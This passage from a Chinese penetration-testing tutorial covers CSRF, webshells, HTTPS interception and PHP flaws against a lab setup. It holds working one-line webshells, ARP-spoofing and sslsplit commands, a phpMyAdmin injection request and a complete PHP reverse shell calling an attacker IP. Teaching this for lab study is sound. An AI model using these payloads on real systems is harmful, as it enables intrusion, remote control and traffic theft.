CSRF只针对采用Cookie(或Cookie+Session、Cookie+Token)验证机制的网站,客户端在登录有CSRF漏洞的网站后,诱使用户在网站登录后的界面没有关闭的条件下,访问可以向漏洞网站提交表单的恶意链接,浏览器在访问网站时会自动附加Cookie等身份认证信息,存在CSRF漏洞的网站会根据认证信息判断访问者是合法用户,从而完成恶意操作。

CSRF与XSS有些相似,从信任角度考虑与XSS区分:XSS利用用户对站点的信任,CSRF利用站点对用户请求的信任

CSRF是服务器业务层面的漏洞,服务器对关键操作缺少确认机制,自动扫描程序一般不会发现此类漏洞。

漏洞利用条件:

  • 被攻击用户已完成身份验证
  • 新请求的提交不需要重新进行身份认证
  • 攻击者了解WEB请求的构造参数
  • 诱使用户触发攻击发送请求

(1)修改请求参数验证攻击

以DVWA为实验平台,利用Burp代理,截获HTTP Request,转到Repeater模块,修改参数重放请求,右侧可以看到返回结果,账号密码被成功修改,如下图所示:

修改请求参数完成攻击

图5 修改请求参数完成攻击

(2)伪造请求页面完成CSRF

利用Burp可以将HTTP Request生成HTML链接,右键选择Engagement tools-> Generate CSRF PoC,配置参数后复制代码生成HTML页面文件,诱使用户访问该页面,点击提交恶意请求的按钮完成攻击,如下图所示:

伪造请求页面完成攻击

图6 伪造请求页面完成攻击

6.WebShell

本质上是在目标主机植入脚本文件,作为WebShell的服务端;客户端运行工具进行连接,拿到WebShell,对目标主机进行管理。

(1)中国菜刀

服务端在只需要简单的一行代码,客户端运行菜刀工具,实现对目标主机的管理功能。

为绕过IDS过滤,代码经过二次编码后发送。目前支持的服务端脚本包括:PHP、ASP、 ASP.NET,并且支持HTTPS安全连接的网站。

工具下载:官网 http://www.maicaidao.co/readme中有详细介绍。

在服务端上传脚本文件,代码如下:

  • PHP: <?php @eval($_POST['chopper']);?>
  • ASP: <%eval request("chopper")%>
  • ASP.NET:<%@ Page Language="Jscript"><%eval(Request.Item["chopper"],"unsafe");%>

然后用菜刀访问目标主机中的一句话木马文件实现连接,运行界面如下图所示:
中国菜刀管理界面

图7 中国菜刀管理界面

(2)Weevely

隐蔽的类终端PHP WebShell,用weevely生成脚本文件放在服务端目标主机,客户端运行weevely进行连接,实现对目标主机的管理功能。

weevely
# 提示基本用法

weevely generate passw0rd wee.php
# passw0rd为生成脚本文件的密码
# 生成文件默认路径为~/

# 将wee.php上传至目标主机目录/var/www路径
weevely http://10.10.11.128/dvwa passw0rd
# 连接目标主机,用交互式命令进行管理

weevely> help
# 连接后用help查看具体功能模块
# 当前有40多种功能模块,实现扫描内网、端口、文件,获取系统参数、数据库信息等操作
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

除了一般的管理功能,weevely还可以实现将目标计算机作为HTTP/HTTPS代理,注意weevely将目标主机代理通过隧道和本机代理8080端口相连,所以要开启本地服务器代理才能进行访问。

weevely> net_proxy
# 开启目标主机代理,默认通过隧道和本机代理8080端口相连
  • 1
  • 2

注意:WebShell获得的用户权限为目标主机提供WEB服务的用户,一些操作可能需要提权

具体可参见文章:
获取Webshell的常用方法(一)
获取Webshell的常用方法(二)

7.HTTPS攻击

HTTPS即HTTP over SSL,主要解决信息传递过程中机密性、完整性、可用性问题,其攻击方法一般包括:

  • 降级攻击:使HTTPS降级为不安全的加密套件
  • 解密攻击:中间人证书伪造,直接破解密文
  • 协议漏洞、实现方法、用户配置不严格

SSL最新版本为v3,因其存在严重的安全漏洞,早在1999年SSL v3就已被TLS取代,目前绝大多数服务器用的都是TLS协议,但基于历史和习惯的原因HTTPS、SSL/TLS等名称一直被沿用。TLS当前最新版本为v1.3,但一些服务器为保持兼容性仍支持旧版本不安全的加密协议,如SSL v3

SSL/TLS也被用于其他场景的安全传输:邮件传输、数据库服务器之间、SSL VPN、远程桌面RDP等。

(1)加密过程

根据Wireshark抓包分析HTTPS握手过程,Wireshark默认不会解密HTTPS加密内容,所以一开始抓包内容是这样的:
HTTPS加密数据

图8 HTTPS加密数据

经过TLS加密的数据为Application Data,要查看解密数据,需要指定浏览器HTTPS握手通信的log文件,这样浏览器会将握手过程中涉及的密钥信息保存在该文件中,供Wireshark解密时使用。方法为在系统环境变量中添加SSLKEYLOGFILE,新建log文件,路径随意,但是尾缀必须为log,比如设置为E:\https.log,在Wireshark编辑->首选项->Protocols->TLS中配置(Pre)-Master-Secret log filenameE:\https.log,重启浏览器(Chrome/Firefox)后抓包,内容如下图所示:
HTTPS解密数据

图9 HTTPS解密数据

可见原先加密的Application Data已被解密,握手协商基本流程如下图所示:(这里所抓取HTTPS包的非对称密钥算法采用DHE/ECDHE,和采用RSA的握手协商过程稍有不同)
HTTPS握手过程

图10 HTTPS握手过程

最开始Client与Server建立TCP三次握手连接,随后开始HTTPS握手过程:

① Client向Server发送ClientHello包请求建立SSL/TLS连接,其中包括随机数Random_C和客户端支持的加密套件CipherSuite(密钥交换算法-签名算法-对称加密算法-摘要算法);

② Server收到SSL/TLS连接请求包后首先回复ServerHello包,其中会选择双方都支持的加密级别最高的CipherSuite,以及生成的随机数Random_S;

③ 然后Server接连发送CertificateServerKeyExchangeServerHelloDone包,Certificate主要是经过CA签名的Server公钥信息;

④ Client根据自身记录的CA证书判断Server发来的证书是否可信,如果受信则将ClientKeyExchangeChangeCipherSpecFinished包一起用公钥加密后发送给Server,ClientKeyExchange中包含生成的ECDHE参数Pubkey,Pubkey用于生成Premaster Key,Premaster Key和之前生成的Random_S以及Random_C一起生成对称密钥,之后通信使用对称加密算法;

⑤ Server用私钥将信息解密,同时利用相同的算法生成对称密钥,然后向Client发送ChangeCipherSpecFinished包,之后通信使用对称加密算法;

⑥ Client和Server完成握手协商过程,之后采用对称加密算法进行通信。

(2)扫描工具

① OpenSSL
加密工具套件,通过调用OpenSSL库对目标服务器发起SSL/TLS连接,可用于探测HTTPS加密信息。

使用方法:openssl command [ command_opts ] [ command_args ]

具体参数用:openssl command -help查看

openssl s_client -connect www.baidu.com:443
# 建立HTTPS连接
# 可以查看目标站点证书、受信证书链、CipherSuite等信息

openssl ciphers -v "NULL,EXPORT,LOW,DES"
# 查看目前可被破解的ciphersuite

openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' www.taobao.com:443

openssl s_client -cipher "ECDHE-PSK-NULL-SHA" -connect www.baidu.com:443
# 查看目标站点是否支持不安全的ciphersuite
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

② SSLScan

SSLScan相比于OpenSSL命令使用更加简单,可读性好,能够自动识别SSL配置错误、过期协议、过时的ciphersuite和hash算法,扫描结果中绿色表示安全,红色、黄色要引起注意。

sslscan --tlsall www.taobao.com:443
# 扫描目标站点支持的所有加密方法是否存在安全问题

sslscan --show-certificate www.taobao.com:443
# 分析证书详细信息
  • 1
  • 2
  • 3
  • 4
  • 5

③ Nmap

利用Nmap脚本实现SSL/TLS安全扫描。

nmap --script=ssl-enum-ciphers.nse www.taobao.com
  • 1

(3)攻击方法

SSL/TLS的攻击方法主要基于中间人攻击实现,中间人攻击原理及类型参见 Kali Linux渗透测试——密码破解 中密码嗅探章节内容,SSL/TLS中间人攻击实现前提主要是客户端已经信任伪造证书的颁发机构或者禁止显示证书错误的告警信息

① SSLsplit

透明SSL/TLS中间人攻击工具,对客户端伪装成服务器,对服务器伪装成客户端。

echo 1 > /proc/sys/net/ipv4/ip_forward  
# 开启主机路由功能

openssl gensa -out ca.key 2048
# 生成证书私钥

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
# 利用私钥签名生成证书

iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
# 添加iptables路由转发规则

ettercap -T -M arp:remote /10.10.11.1// /10.10.11.129// -P dns_spoff
# 在网关和目标主机之间通过arp欺骗实现中间人攻击

mkdir -p test/logdir 

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
# -D:debug模式,输出详细信息
# -l:将建立连接信息记录到connect.log
# -j:指定根目录
# -S:指定解密的请求数据存放的目录,在根目录下
# 侦听本地所有ip的8443和8080端口
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

HTTPS通信数据会记录在/root/test/logdir/中,但是一些敏感信息可能仍然是密文,因为通信过程中除了SSL/TLS加密,还有密码控件等其他层面加密过程。注意在实施攻击前要在目标主机上安装生成的证书,不然目标主机在访问网站时会提示证书不受信。

② SSLstrip

将客户端与中间人之间的通信流量直接变为明文。

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
# 将http和https流量转发到8080端口

ssltrip -l 8080
# ssltrip开启8080端口监听
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

ssltrip会在当前工作目录上自动生成ssltrip.log文件,记录通信数据。注意使用ssltrip攻击后目标主机浏览器在访问网站时URL协议变为HTTP,容易引起怀疑。

8.PHP漏洞

(1) phpMyAdmin默认安装漏洞

早期phpMyAdmin安装后如果管理员不修改配置或删除配置页面,则通过phpMyAdmin/setup可以不经验证直接登录,在未授权的情况下查看、修改配置参数。

在此漏洞基础上实现网页木马,具体利用方式为:通过访问phpMyAdmin目录可以在提交的url中修改php.ini主配置文件,执行PHP语句,可以利用Burp的Repeater模块转发、修改请求。

① 静态代码实现

在目标服务器上新建木马文件,发动攻击时通过HTTP Request访问并传递参数。

# allow_url_include:允许通过URL远程文件包含
# auto_prepend_file:在文件开始位置自动加上指定内容
# php://input:读取PHP输入流
POST http://10.10.11.128/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:10.10.11.128

<?php
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/attack.php');  
die();
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

然后浏览器访问:http://10.10.11.128/attack.php?cmd=id

PHP执行系统命令的函数包括exec()、passthru()、system()、shell_exec()

  • exec():string exec(string $command [, array &$output [, int &$return_var ]] ),执行command参数所指定的命令,返回输出字符串,但不显示输出,如果需要显示输出可以结合echo查看。第二个参数作用是将输出内容写入数组变量,第三个参数将执行命令的状态码写入变量,执行成功为0
  • passthru():void passthru( string $command [, int &$return_var ] ),执行command参数所指定的命令,不返回输出结果,但是显示输出,不需要使用echo查看
  • system():string system( string $command [, int &$return_var ] ),执行command参数所指定的命令, 返回输出字符串,并且显示输出
  • shell_exec():string shell_exec(string $command),等同于` `,通过 shell 环境执行命令,返回输出字符串,但不显示输出

allow_url_include和allow_url_fopen参数使用,区分打开文件和包含文件

  • allow_url_fopen=On/Off:是否允许打开URL指定的文件
  • allow_url_include=On/Off:是否允许包含URL指定的文件
    (PHP5.2之后默认配置:allow_url_include=Off,allow_url_fopen=On)

② 动态反弹Shell

可以利用kali中的反弹马:/usr/share/webshell/php/php-reverse-shell.php,编辑配置其中的反弹ip和端口,然后将其内容写入HTTP Request,通过HTTP Request访问目标服务器发起攻击,而不在目标服务器上新建木马文件,攻击更加隐蔽。

POST http://10.10.11.128/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:10.10.11.128

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.11.129';  // CHANGE THIS
$port = 1244;          // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);


// Do the reverse shell...

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122

在主机上用nc开启端口监听,等待目标服务器反向连接

反向连接Shell

图11 反向连接Shell

(2) PHP伪协议利用

伪协议是PHP语言的特性之一,通常结合文件包含漏洞使用,使用菜刀、蚁剑等工具可以直接访问伪协议传递的数据。PHP伪协议包括file、http、ftp、php、zlib、data、glob、phar、ssh2、rar、ogg、expect等12种,经常使用的伪协议如下:

① file://

  • 作用:访问本地文件系统
  • 条件:allow_url_fopen=Off/On、allow_url_include=Off/On
  • 举例:http://127.0.0.1/index.php?file=file://C:/wamp64/www/cmd.txt

② http://

  • 作用:访问HTTP(s)网址
  • 条件:allow_url_fopen=On、allow_url_include=On
  • 举例:http://127.0.0.1/index.php?file=http://10.1.1.1/cmd.txt

③ ftp://

  • 作用:访问FTP(s)
  • 条件:allow_url_fopen=On、allow_url_include=On
  • 举例:http://127.0.0.1/index.php?file=ftp://10.1.1.1/cmd.txt

④ php://

  • 作用:访问各种输入/输出流,如:
    php://input —> 访问请求数据的只读流,在POST请求中访问请求的数据部分
    php://filter —> 一种元封装器, 设计用于数据流打开时的筛选过滤应用
    php://stdin —> 读取标准输入流
    php://memory —> 读取内存数据
    php://temp —> 读取临时数据
  • 条件:allow_url_fopen=Off/On,allow_url_fopen=Off/On(php://input、php://stdin、php://memory、php://temp需要On)
  • 举例:
    i) php://input
    通过POST方法提交文件包含数据
    http://127.0.0.1/index.php?file=php://input
    [POST DATA] <?php phpinfo()?>

    ii) php://filter
    resource=<要过滤的数据流> 必选参数,指定要筛选过滤的数据流
    read=<读链的筛选列表> 可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔
    write=<写链的筛选列表> 可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔
    convert.*为转换过滤器
    读取当前目录下的cmd.php源码,用base64编码输出:(如果不用base64编码,则可能会将包含的脚本文件直接运行)
    http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

⑤ data://

  • 作用:传递数据流
  • 条件:allow_url_fopen=On、allow_url_include=On
  • 举例:明文传递 http://127.0.0.1/index.php?file=data://text/plain,<?php%20phpinfo();?>
    base64编码 http://127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

⑥ zip://、zlib://、bzip2://

  • 作用:读取压缩流
    zip://archive.zip#dir/file.txt 处理的是zip压缩文件
    compress.zlib://archive.gz 处理的是gzip压缩文件
    compress.bzip2://archive.bz2 处理的是bzip2压缩文件
  • 条件:allow_url_fopen=Off/On、allow_url_include=Off/On
  • 举例:先将PHP代码写好文件名为php.txt,将其进行zip压缩,压缩文件名为cmd.zip,上传zip文件,如果上传点要求文件后缀为图片格式,可以将cmd.zip重命名为cmd.jpg后再上传,然后访问 http://127.0.0.1/index.php?file=zip://C:\wamp64\www\cmd.jpg%23php.txt

(3) PHP反序列化

① 序列化与反序列化

序列化指在数据处理过程中,将对象转化成便于存储、转移的形式,以便于在不同环境恢复状态继续使用。序列化是可逆的,反序列化是其逆过程。PHP使用 serialize 函数进行序列化,使用 unserialize 函数进行反序列化:

  • 序列化函数:格式为 string serialize(mixed $value),用于序列化对象或数组,返回字符串
  • 反序列化函数:格式为 mixed unserialize(string $str),序列化逆过程,将字符串还原成对象或数组

如下代码:

<?php
class staff{
    public $name;
    public $age;
    public $height;
    function __construct($name,$age,$height){
        $this->name = $name;
        $this->age = $age;
        $this->height = $height;
    }
}
$staff = new staff("Jim", 28, 180);
var_dump(serialize($staff));

$serial_str = 'O:5:"staff":3:{s:4:"name";s:3:"Jim";s:3:"age";i:28;s:6:"height";i:180;}';
var_dump(unserialize($serial_str));
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

输出内容为:

string(71) 'O:5:"staff":3:{s:4:"name";s:3:"Jim";s:3:"age";i:28;s:6:"height";i:180;}'
// O:代表Object
// 3:代表对象名字长度为5个字符
// staff:对象的名称
// 3:代表对象属性有3个
// {}中为对象属性
// s:数据类型
// 4:属性名称的长度
// name:属性名称
// ...
object(staff)#1 (3) { ["name"]=> string(3) "Jim" ["age"]=> int(28) ["height"]=> int(180) } 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

② 反序列化漏洞

产生原因:

i) unserialize()函数的参数可控,也就是说反序列化的内容是用户可以控制;

ii) PHP中有可以利用的类,并且类中又魔幻函数,包括:

  • __construct():构造函数,创建对象时自动调用
  • __destruct():析构函数,对象销毁时自动调用
  • __toString():当一个对象被当作一个字符串使用时自动调用
  • __sleep():在对象被序列化时自动调用
  • __wakeup():在对象被反序列化时自动调用

漏洞举例:CVE-2016-7124
漏洞利用:当序列化字符串中标识对象属性的数量值大于实际数量值时,PHP将绕过__wakeup()的执行
影响版本:PHP before 5.6.25PHP 7.x before 7.0.10
常见形式:通过源码审计发现反序列化漏洞,传参蓄意构造的序列化字符串 (可能需要变形) 完成漏洞利用,这种思路在CTF中十分常见

9.SessionID

利用服务器对用户身份验证机制上的漏洞,通过重放或预测SessionID直接登录目标服务器。

  • 在客户端与服务器通信过程中,如果SessionID长期有效,容易遭受SessionID重放攻击,导致非法登录
  • 测试SessionID生成算法的随机性,如果可以预判下次SessionID的值,则可以直接登录

10.命令执行

实质上属于注入攻击,利用服务器对用户输入变量过滤不严注入恶意代码,使得目标系统错误执行输入变量中的命令。

  • 用Burp的Repeater模块逐一修改变量、头信息内容,向目标服务器发送Request,查看Response变化,寻找注入点
  • 注意对提交的内容进行编码,绕开过滤机制

注意:可能受到当前提供服务用户的权限限制,一些敏感操作需要进一步提权。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/251624
推荐阅读
相关标签
  

闽ICP备14008679号